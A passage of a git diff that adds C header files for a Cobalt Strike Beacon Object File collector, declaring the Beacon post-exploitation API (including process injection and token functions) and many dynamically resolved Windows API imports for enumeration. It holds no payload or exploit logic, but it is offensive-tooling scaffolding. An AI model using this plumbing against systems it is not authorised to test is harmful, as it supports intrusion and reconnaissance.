z>DnIQuqofEYfm~%8YaDw6nB*sF=Fzdx%QEm!K%pkF%A>Ftk+;g`ld=wM1>UuWzO~@ zKkd91R&d~@>ISoYEcK;pQwK6czFLA50=-Yr6^6<2wvZ`fy3M$cmIagVw3}txQ={(k zou5EQYIJh4#hF|^RPld`%0*xs97`p~NoAD-neNo+70I>ml@jFiwIE?u24SS7Qa>yT zMBcW`1{a69y#ZZgpZTuuI|u(o6*KekU#5CDjHp)`Ws7iDH6HMq3oENio8;1_ip)>8)O(q2v&0 z^%}vWlr*E&XHmgXVc`*DJ{ZhpW2rA(o2DW$+_pw*Wo9OBsq7WWG9psNGn0+2w83~t zHRNF_Q7K%^j@V^TVal-@wfd+F+m6DOwxc!^PGB@CPa3Us0KDulm3d_R96Sl?g*UNx ziES*~?lW-!%;kl1YjmBUB+>apEM?~_{*B(W&JP7;G+**zU+LU&aSml160FEWx+&*E zA0KQmV)+lJz^0ADi9*tl;}r)Ykq1qN1sWJe60;}qgJL7Sy-W4Nns)M4Sl$k*LexLm zRIIT?T}IRoY$|phqBaoqtWCvXgQz!JxjK)Lf_ZmgC5*fZ>UPug!ySF!B{_u5C9)B#X zZje?(eTT9>7)kcGDg(jIekC4{#^?EO>M4`DB8g-y7LBW5RtI8=pazM--yQ9t_rBgT z68~;ei4QD}tcya&N`G8YlX0@(&;_PtF(tw_Cg!-WwYfvWtqZp$ZMYF=ZiW{RM-ZTY zL+?hin2?r7)o>q-toJ{x3?#@YsinDjo_|)$(yrP5+M3%o^+x8_`Ri)xYHMn1Ybb%- zU3j{-bV#m8J+5oLvb+mDN=GTWsHy0OtJE~jqm?X}I;rDzaM1S+NxB=?H*l@OWsfgR zm6o)>K158jKz;~U92e~`HqWBROCOU{lS&>QYC6`GZX%6jYY(o!;hK%h=2e6}8viA( z8St&sIbO1i8R&<{Te#>XG=j^P&)F({)0H=dVe)MZ*FBiX2k;!vU-CqropjHF&iBAO zM4yAKTr3uGl>XYCXT~t`uLA!8d_YM%eOW;Ki&K+IUn+2h_$lYzUP)@FAI+A2=5GW4 zyb`B@8^AIXms^^TJ5|6f?X_t?1G<)Jw6Y0A#}^^th8;n>21w9qfP|J7AUgWFrKL9N zve9ZAZ3Uu=xFsEke%ZRE9{^p)Xg|>PjD~=OjXwhk8~*^B!J}h9en#Ix)Zb#%3?w8T z0ur9?01~oiZN3uJLX6G=60$8oH?WomfrOT=Ktgs8kg)qhAYu3CKsU0)uYhPBa!aoO z3BDQV^P8CV3!s}BRbh$0g^>azY-|A%z8FA4c0Z7x`37yi_kn~jd(lPIfo|zDAmQ^I ze7d5}cT1OmZe{comS~~*2tF|g&3^>)^XNI7_D`GkA0Xk?By^vUT>~U!qc(aJNN6#D zzRmhh0Z}iyr4NB_V^n&Dg{pz7nf6m4VdGUGVWS?sdpnPI0@2dqmUaTwGTIGP$LI*q zTt>q{!mGd7=#q`f(1v2vZ=-oOY60@ImN-y7qi29s*u>F6S~STm(U+GEqI*Y)-(kfOh@@x@`iONprQ zf$DBS;(I8R=-rZIa>2_INRR&ug<{FX2C*tLj|56I2DS(;i?S}RK+i`ug|tvk%Ary4 z5QRE^Z2_eQlm^UzJkNYk-YuXk1!X@vBxh@V6z`H0LhS^_`F)%MD0MxLOm{Jtb#s0j z$D{_2HIjcizl+0xiFq8~#4$<1Ltn*<|Bx{L!xRJ$tysl>i5v-25wZQAUa=e=njSdG?>sTv0^1rHC@Wh_bAR(o;kkD5C5wqC8(jIbKA$R7AN- zxXzIXcxw@5Wf3J=MA=(J`AHGwcSV%bMU>BqC}q@2xj!*@V-e-9BFg;*lt=I;{u>k6 zvSo`@t!xObi--FaDfCEENh*sYy{Z)IiqX+?5zYD#ohUWFh_UXkr_o-u_r9)Eewq8eB5BF3_T=?eS>0l1SXAgkz00SPu#rh}=Y{ z-NxFw2?rNpv2cvFb*^acSRR0Xkv;_;3w1fF+Dl;;kP`85q-Pw>Nm`(UyQ7izcyB~q zXR!&|vZNYIB2@+IHgzY8&4Sn+8z|<)3Em<$EnLymz8DE9I8is&*$Htn6r9T&>+hOK ziGB26**MouoKp!gtO)ld6(>V3Pxw{gaM&(ZaB~dF3Pv{e#-ovb>;RoA^0Gd$(vg3s ziRQj&Lcwo?#(K*`kvY*aT-AvN7Dw!~6!6FJOT#Xeb7Xl`I5LqkYL7xXHD`M`o|u3f w+^ojK-M007FLmSBSFX@%bY*Xk(!3!Yw0?}7nUS#I+**40b@1JCd?r~m)} literal 0 HcmV?d00001 diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/beacon.h b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/beacon.h new file mode 100644 index 0000000..c9abed3 --- /dev/null +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/beacon.h @@ -0,0 +1,71 @@ +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Additional BOF resources are available here: + * - https://github.com/Cobalt-Strike/bof_template + * + * Cobalt Strike 4.x + * ChangeLog: + * 1/25/2022: updated for 4.6 + */ + +#include + +/* data API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); +DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); +DECLSPEC_IMPORT int BeaconDataInt(datap * parser); +DECLSPEC_IMPORT short BeaconDataShort(datap * parser); +DECLSPEC_IMPORT int BeaconDataLength(datap * parser); +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); + +/* format API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); +DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); + +/* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_OUTPUT_UTF8 0x20 +#define CALLBACK_ERROR 0x0d + +DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); +DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); + + +/* Token Functions */ +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); +DECLSPEC_IMPORT void BeaconRevertToken(); +DECLSPEC_IMPORT BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/bofdefs.h b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/bofdefs.h new file mode 100644 index 0000000..c04ef1c --- /dev/null +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/bofdefs.h @@ -0,0 +1,1224 @@ +#pragma once +#pragma intrinsic(memcmp, memcpy, strcpy, strcmp, strlen) +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// KERNEL32 +#ifdef BOF +WINBASEAPI void __cdecl MSVCRT$srand(int initial); +WINBASEAPI int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, + LPCCH lpMultiByteStr, + int cbMultiByte, + LPWSTR lpWideCharStr, + int cchWideChar); +WINBASEAPI int WINAPI KERNEL32$WideCharToMultiByte( + UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, + LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, + LPBOOL lpUsedDefaultChar); +WINBASEAPI int __cdecl MSVCRT$rand(); +WINBASEAPI time_t __cdecl MSVCRT$time(time_t *time); +WINBASEAPI void *WINAPI KERNEL32$VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, + DWORD flAllocationType, + DWORD flProtect); +WINBASEAPI int WINAPI KERNEL32$VirtualFree(LPVOID lpAddress, SIZE_T dwSize, + DWORD dwFreeType); +DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalAlloc(UINT, SIZE_T); +DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL); +WINBASEAPI void *WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, + SIZE_T dwBytes); +WINBASEAPI LPVOID WINAPI KERNEL32$HeapReAlloc(HANDLE hHeap, DWORD dwFlags, + LPVOID lpMem, SIZE_T dwBytes); +WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); +WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID); +WINBASEAPI DWORD WINAPI KERNEL32$FormatMessageA(DWORD dwFlags, LPCVOID lpSource, + DWORD dwMessageId, + DWORD dwLanguageId, + LPSTR lpBuffer, DWORD nSize, + va_list *Arguments); +WINBASEAPI int WINAPI Kernel32$WideCharToMultiByte( + UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, + LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, + LPBOOL lpUsedDefaultChar); +WINBASEAPI int WINAPI KERNEL32$FileTimeToLocalFileTime( + CONST FILETIME *lpFileTime, LPFILETIME lpLocalFileTime); +WINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime(CONST FILETIME *lpFileTime, + LPSYSTEMTIME lpSystemTime); +WINBASEAPI int WINAPI KERNEL32$GetDateFormatW(LCID Locale, DWORD dwFlags, + CONST SYSTEMTIME *lpDate, + LPCWSTR lpFormat, + LPWSTR lpDateStr, int cchDate); +WINBASEAPI VOID WINAPI +KERNEL32$GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime); +WINBASEAPI VOID WINAPI KERNEL32$GetLocalTime(LPSYSTEMTIME lpSystemTime); +WINBASEAPI WINBOOL WINAPI KERNEL32$SystemTimeToFileTime( + CONST SYSTEMTIME *lpSystemTime, LPFILETIME lpFileTime); +WINBASEAPI WINBOOL WINAPI KERNEL32$SystemTimeToTzSpecificLocalTime( + CONST TIME_ZONE_INFORMATION *lpTimeZoneInformation, + CONST SYSTEMTIME *lpUniversalTime, LPSYSTEMTIME lpLocalTime); +WINBASEAPI WINBOOL WINAPI +KERNEL32$GlobalMemoryStatusEx(LPMEMORYSTATUSEX lpBuffer); +WINBASEAPI WINBOOL WINAPI KERNEL32$GetDiskFreeSpaceExA( + LPCSTR lpDirectoryName, PULARGE_INTEGER lpFreeBytesAvailableToCaller, + PULARGE_INTEGER lpTotalNumberOfBytes, + PULARGE_INTEGER lpTotalNumberOfFreeBytes); +WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID); +DECLSPEC_IMPORT DWORD KERNEL32$GetCurrentProcessId(VOID); +WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID); +WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateThread( + LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, + LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, + DWORD dwCreationFlags, LPDWORD lpThreadId); +WINBASEAPI DWORD WINAPI KERNEL32$GetTickCount(VOID); +WINBASEAPI ULONGLONG WINAPI KERNEL32$GetTickCount64(VOID); +WINBASEAPI LPVOID WINAPI +KERNEL32$CreateFiber(SIZE_T dwStackSize, LPFIBER_START_ROUTINE lpStartAddress, + LPVOID lpParameter); +WINBASEAPI LPVOID WINAPI KERNEL32$ConvertThreadToFiber(LPVOID lpParameter); +WINBASEAPI WINBOOL WINAPI KERNEL32$ConvertFiberToThread(VOID); +WINBASEAPI VOID WINAPI KERNEL32$DeleteFiber(LPVOID lpFiber); +WINBASEAPI VOID WINAPI KERNEL32$SwitchToFiber(LPVOID lpFiber); +WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE hHandle, + DWORD dwMilliseconds); +WINBASEAPI VOID WINAPI KERNEL32$Sleep(DWORD dwMilliseconds); +WINBASEAPI WINBOOL WINAPI KERNEL32$DeleteFileW(LPCWSTR lpFileName); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW( + LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, + LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, + DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); +WINBASEAPI DWORD WINAPI KERNEL32$GetFileSize(HANDLE hFile, + LPDWORD lpFileSizeHigh); +WINBASEAPI WINBOOL WINAPI KERNEL32$ReadFile(HANDLE hFile, LPVOID lpBuffer, + DWORD nNumberOfBytesToRead, + LPDWORD lpNumberOfBytesRead, + LPOVERLAPPED lpOverlapped); +WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, + WINBOOL bInheritHandle, + DWORD dwProcessId); +WINBASEAPI WINBOOL WINAPI KERNEL32$GetComputerNameExW( + COMPUTER_NAME_FORMAT NameType, LPWSTR lpBuffer, LPDWORD nSize); +WINBASEAPI int WINAPI KERNEL32$lstrlenW(LPCWSTR lpString); +WINBASEAPI LPWSTR WINAPI KERNEL32$lstrcatW(LPWSTR lpString1, LPCWSTR lpString2); +WINBASEAPI LPWSTR WINAPI KERNEL32$lstrcpynW(LPWSTR lpString1, LPCWSTR lpString2, + int iMaxLength); +WINBASEAPI DWORD WINAPI KERNEL32$GetFullPathNameW(LPCWSTR lpFileName, + DWORD nBufferLength, + LPWSTR lpBuffer, + LPWSTR *lpFilePart); +WINBASEAPI DWORD WINAPI KERNEL32$GetFileAttributesW(LPCWSTR lpFileName); +WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentDirectoryW(DWORD nBufferLength, + LPWSTR lpBuffer); +WINBASEAPI HANDLE WINAPI +KERNEL32$FindFirstFileW(LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData); +WINBASEAPI WINBOOL WINAPI +KERNEL32$FindNextFileW(HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData); +WINBASEAPI WINBOOL WINAPI KERNEL32$FindClose(HANDLE hFindFile); +WINBASEAPI VOID WINAPI KERNEL32$SetLastError(DWORD dwErrCode); +#define intAlloc(size) \ + KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) +#define intRealloc(ptr, size) \ + (ptr) \ + ? KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ptr, \ + size) \ + : KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) +#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr) +#define intZeroMemory(addr, size) MSVCRT$memset((addr), 0, size) +DECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalAlloc(UINT uFlags, SIZE_T dwBytes); +DECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalFree(HGLOBAL hMem); +DECLSPEC_IMPORT LPTCH WINAPI KERNEL32$GetEnvironmentStrings(); +DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$FreeEnvironmentStringsA(LPSTR); +WINBASEAPI DWORD WINAPI KERNEL32$ExpandEnvironmentStringsW(LPCWSTR lpSrc, + LPWSTR lpDst, + DWORD nSize); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags, + DWORD th32ProcessID); +WINBASEAPI WINBOOL WINAPI KERNEL32$Process32First(HANDLE hSnapshot, + LPPROCESSENTRY32 lppe); +WINBASEAPI WINBOOL WINAPI KERNEL32$Process32Next(HANDLE hSnapshot, + LPPROCESSENTRY32 lppe); +WINBASEAPI WINBOOL WINAPI KERNEL32$Module32First(HANDLE hSnapshot, + LPMODULEENTRY32 lpme); +WINBASEAPI WINBOOL WINAPI KERNEL32$Module32Next(HANDLE hSnapshot, + LPMODULEENTRY32 lpme); +WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR lpLibFileName); +WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE hModule, + LPCSTR lpProcName); +WINBASEAPI WINBOOL WINAPI KERNEL32$FreeLibrary(HMODULE hLibModule); +DECLSPEC_IMPORT WINBASEAPI int WINAPI KERNEL32$lstrlenA(LPCSTR); +DECLSPEC_IMPORT int WINAPI KERNEL32$GetLocaleInfoEx(LPCWSTR lpLocaleName, + LCTYPE LCType, + LPWSTR lpLCData, + int cchData); +WINBASEAPI int WINAPI KERNEL32$GetSystemDefaultLocaleName(LPCWSTR lpLocaleName, + int cchLocaleName); +DECLSPEC_IMPORT LCID WINAPI KERNEL32$LocaleNameToLCID(LPCWSTR lpName, + DWORD dwFlags); +DECLSPEC_IMPORT int WINAPI KERNEL32$GetDateFormatEx( + LPCWSTR lpLocaleName, DWORD dwFlags, const SYSTEMTIME *lpData, + LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate, LPCWSTR lpCalendar); + +// WTSAPI32 +DECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSEnumerateSessionsA(LPVOID, DWORD, + DWORD, + PWTS_SESSION_INFO *, + DWORD *); +DECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSQuerySessionInformationA( + LPVOID, DWORD, WTS_INFO_CLASS, LPSTR *, DWORD *); +DECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSFreeMemory(PVOID); + +// Iphlpapi.lib +// ULONG WINAPI IPHLPAPI$GetAdaptersInfo (PIP_ADAPTER_INFO AdapterInfo, PULONG +// SizePointer); +DECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetAdaptersInfo(PIP_ADAPTER_INFO, PULONG); +DECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetIpForwardTable( + PMIB_IPFORWARDTABLE pIpForwardTable, PULONG pdwSize, WINBOOL bOrder); +DECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetNetworkParams(PFIXED_INFO, PULONG); +DECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetUdpTable(PMIB_UDPTABLE UdpTable, + PULONG SizePointer, + WINBOOL Order); +DECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetTcpTable(PMIB_TCPTABLE TcpTable, + PULONG SizePointer, + WINBOOL Order); +DECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetIpNetTable(PMIB_IPNETTABLE IpNetTable, + PULONG SizePointer, + BOOL Order); + +// MSVCRT +WINBASEAPI char *__cdecl MSVCRT$_ultoa(unsigned long _Value, char *_Dest, + int _Radix); +WINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, + size_t _SizeOfElements); +WINBASEAPI void *__cdecl MSVCRT$memcpy(void *__restrict__ _Dst, + const void *__restrict__ _Src, + size_t _MaxCount); +WINBASEAPI int __cdecl MSVCRT$memcmp(const void *_Buf1, const void *_Buf2, + size_t _Size); +WINBASEAPI void *__cdecl MSVCRT$realloc(void *_Memory, size_t _NewSize); +WINBASEAPI void __cdecl MSVCRT$free(void *_Memory); +WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count); +WINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, + ...); +WINBASEAPI int __cdecl MSVCRT$vsnprintf(char *__restrict__ d, size_t n, + const char *__restrict__ format, + va_list arg); +WINBASEAPI int __cdecl MSVCRT$_snwprintf(wchar_t *__restrict__ _Dest, + size_t _Count, + const wchar_t *__restrict__ _Format, + ...); +WINBASEAPI errno_t __cdecl MSVCRT$wcscpy_s(wchar_t *_Dst, rsize_t _DstSize, + const wchar_t *_Src); +WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcscmp(const wchar_t *_lhs, + const wchar_t *_rhs); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcstok(wchar_t *__restrict__ _Str, + const wchar_t *__restrict__ _Delim); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcstok_s(wchar_t *_Str, + const wchar_t *_Delim, + wchar_t **_Context); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcsstr(const wchar_t *_Str, + const wchar_t *_SubStr); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcscat(wchar_t *__restrict__ _Dest, + const wchar_t *__restrict__ _Source); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcsncat(wchar_t *__restrict__ _Dest, + const wchar_t *__restrict__ _Source, + size_t _Count); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcscpy(wchar_t *__restrict__ _Dest, + const wchar_t *__restrict__ _Source); +WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *_Str1, + const wchar_t *_Str2); +WINBASEAPI _CONST_RETURN wchar_t *__cdecl MSVCRT$wcschr(const wchar_t *_Str, + wchar_t _Ch); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcsncat(wchar_t *__restrict__ _Dest, + const wchar_t *__restrict__ _Source, + size_t _Count); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcsrchr(const wchar_t *_Str, wchar_t _Ch); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcsrchr(const wchar_t *_Str, wchar_t _Ch); +WINBASEAPI unsigned long __cdecl MSVCRT$wcstoul( + const wchar_t *__restrict__ _Str, wchar_t **__restrict__ _EndPtr, + int _Radix); +DECLSPEC_IMPORT char *__cdecl MSVCRT$strcat(char *__restrict__ _Dest, + const char *__restrict__ _Source); +WINBASEAPI size_t __cdecl MSVCRT$strnlen(const char *_Str, size_t _MaxCount); +WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str); +DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char *_Str1, const char *_Str2); +WINBASEAPI int __cdecl MSVCRT$strncmp(const char *_Str1, const char *_Str2, + size_t _MaxCount); +DECLSPEC_IMPORT char *__cdecl MSVCRT$strcpy(char *__restrict__ __dst, + const char *__restrict__ __src); +DECLSPEC_IMPORT PCHAR __cdecl MSVCRT$strstr(const char *haystack, + const char *needle); +DECLSPEC_IMPORT PCHAR __cdecl MSVCRT$strchr(const char *haystack, int needle); +DECLSPEC_IMPORT char *__cdecl MSVCRT$strtok(char *__restrict__ _Str, + const char *__restrict__ _Delim); +_CRTIMP char *__cdecl MSVCRT$strtok_s(char *_Str, const char *_Delim, + char **_Context); +WINBASEAPI unsigned long __cdecl MSVCRT$strtoul(const char *__restrict__ _Str, + char **__restrict__ _EndPtr, + int _Radix); + +// DNSAPI +DECLSPEC_IMPORT DNS_STATUS WINAPI DNSAPI$DnsQuery_A(PCSTR, WORD, DWORD, + PIP4_ARRAY, PDNS_RECORD *, + PVOID *); +DECLSPEC_IMPORT VOID WINAPI DNSAPI$DnsFree(PVOID pData, DNS_FREE_TYPE FreeType); + +// WSOCK32 +DECLSPEC_IMPORT unsigned long __stdcall WSOCK32$inet_addr(const char *cp); + +// NETAPI32 +DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, + LPVOID, ULONG, LPVOID); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetInfo(LPCWSTR servername, + LPCWSTR username, DWORD level, + LPBYTE *bufptr); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserModalsGet(LPCWSTR servername, + DWORD level, LPBYTE *bufptr); +WINBASEAPI DWORD WINAPI NETAPI32$NetServerEnum(LMCSTR servername, DWORD level, + LPBYTE *bufptr, DWORD prefmaxlen, + LPDWORD entriesread, + LPDWORD totalentries, + DWORD servertype, LMCSTR domain, + LPDWORD resume_handle); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetGroups( + LPCWSTR servername, LPCWSTR username, DWORD level, LPBYTE *bufptr, + DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetLocalGroups( + LPCWSTR servername, LPCWSTR username, DWORD level, DWORD flags, + LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread, + LPDWORD totalentries); +WINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer); +WINBASEAPI DWORD WINAPI NETAPI32$NetGetAnyDCName(LPCWSTR servername, + LPCWSTR domainname, + LPBYTE *bufptr); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserEnum(LPCWSTR servername, DWORD level, + DWORD filter, LPBYTE *bufptr, + DWORD prefmaxlen, + LPDWORD entriesread, + LPDWORD totalentries, + LPDWORD resume_handle); +WINBASEAPI DWORD WINAPI +NETAPI32$NetGroupGetUsers(LPCWSTR servername, LPCWSTR groupname, DWORD level, + LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread, + LPDWORD totalentries, PDWORD_PTR ResumeHandle); +WINBASEAPI DWORD WINAPI NETAPI32$NetQueryDisplayInformation( + LPCWSTR ServerName, DWORD Level, DWORD Index, DWORD EntriesRequested, + DWORD PreferredMaximumLength, LPDWORD ReturnedEntryCount, + PVOID *SortedBuffer); +WINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupEnum( + LPCWSTR servername, DWORD level, LPBYTE *bufptr, DWORD prefmaxlen, + LPDWORD entriesread, LPDWORD totalentries, PDWORD_PTR resumehandle); +WINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupGetMembers( + LPCWSTR servername, LPCWSTR localgroupname, DWORD level, LPBYTE *bufptr, + DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries, + PDWORD_PTR resumehandle); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserSetInfo(LPCWSTR servername, + LPCWSTR username, DWORD level, + LPBYTE buf, LPDWORD parm_err); +WINBASEAPI DWORD WINAPI NETAPI32$NetShareEnum(LMSTR servername, DWORD level, + LPBYTE *bufptr, DWORD prefmaxlen, + LPDWORD entriesread, + LPDWORD totalentries, + LPDWORD resume_handle); +WINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer); +WINBASEAPI DWORD WINAPI NETAPI32$NetSessionEnum( + LPCWSTR servername, LPCWSTR UncClientName, LPCWSTR username, DWORD level, + LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries, + LPDWORD resumehandle); + +// mpr +WINBASEAPI DWORD WINAPI MPR$WNetOpenEnumW(DWORD dwScope, DWORD dwType, + DWORD dwUsage, + LPNETRESOURCEW lpNetResource, + LPHANDLE lphEnum); +WINBASEAPI DWORD WINAPI MPR$WNetEnumResourceW(HANDLE hEnum, LPDWORD lpcCount, + LPVOID lpBuffer, + LPDWORD lpBufferSize); +WINBASEAPI DWORD WINAPI MPR$WNetCloseEnum(HANDLE hEnum); +WINBASEAPI DWORD WINAPI MPR$WNetGetNetworkInformationW( + LPCWSTR lpProvider, LPNETINFOSTRUCT lpNetInfoStruct); +WINBASEAPI DWORD WINAPI MPR$WNetGetConnectionW(LPCWSTR lpLocalName, + LPWSTR lpRemoteName, + LPDWORD lpnLength); +WINBASEAPI DWORD WINAPI +MPR$WNetGetResourceInformationW(LPNETRESOURCEW lpNetResource, LPVOID lpBuffer, + LPDWORD lpcbBuffer, LPWSTR *lplpSystem); +WINBASEAPI DWORD WINAPI MPR$WNetGetUserW(LPCWSTR lpName, LPWSTR lpUserName, + LPDWORD lpnLength); +WINBASEAPI DWORD WINAPI MPR$WNetAddConnection2W(LPNETRESOURCEW lpNetResource, + LPCWSTR lpPassword, + LPCWSTR lpUserName, + DWORD dwFlags); +WINBASEAPI DWORD WINAPI MPR$WNetCancelConnection2W(LPCWSTR lpName, + DWORD dwFlags, BOOL fForce); + +// user32 +WINUSERAPI int WINAPI USER32$EnumDesktopWindows(HDESK hDesktop, + WNDENUMPROC lpfn, + LPARAM lParam); +WINUSERAPI int WINAPI USER32$IsWindowVisible(HWND hWnd); +WINUSERAPI int WINAPI USER32$GetWindowTextA(HWND hWnd, LPSTR lpString, + int nMaxCount); +WINUSERAPI int WINAPI USER32$GetClassNameA(HWND hWnd, LPSTR lpClassName, + int nMaxCount); +WINUSERAPI LPWSTR WINAPI USER32$CharPrevW(LPCWSTR lpszStart, + LPCWSTR lpszCurrent); +WINUSERAPI HWND WINAPI USER32$FindWindowExA(HWND hWndParent, + HWND hWndChildAfter, + LPCSTR lpszClass, + LPCSTR lpszWindow); +WINUSERAPI LRESULT WINAPI USER32$SendMessageA(HWND hwnd, UINT Msg, + WPARAM wParam, LPARAM lParam); 